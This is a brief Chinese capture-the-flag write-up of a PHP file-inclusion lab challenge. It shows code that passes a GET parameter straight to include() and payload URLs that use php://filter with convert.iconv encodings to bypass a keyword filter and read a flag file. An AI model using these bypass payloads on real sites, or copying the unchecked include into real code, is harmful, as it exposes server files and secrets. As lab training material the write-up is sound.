简介
攻防世界WEB靶场。题目描述:简单的文件包含。
详解
- 打开首页,页面只显示以下代码
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
是php语言include函数漏洞,与php伪协议有关。
- 看代码,需要get参数filename,先简单尝试一下
页面提示使用错误----you have use the right usage , but error method
- 构造简单的payload尝试
返回 do not hack。被过滤了。
- 使用convert.quoted-printable-encode构造payload
http://61.147.171.105:59338/
?filename=php://filter/read=convert.quoted-printable-encode/resource=/flag
还是返回do not hack。
- 尝试用convert.iconv构造payload
多次尝试发现以下payload没有返回任何信息
http://61.147.171.105:59338/
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/flag
猜测可能是flag不在系统根目录,可能在网站根目录,继续构造以下payload
http://61.147.171.105:59338/
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php
成功获取到flag
结语
nothing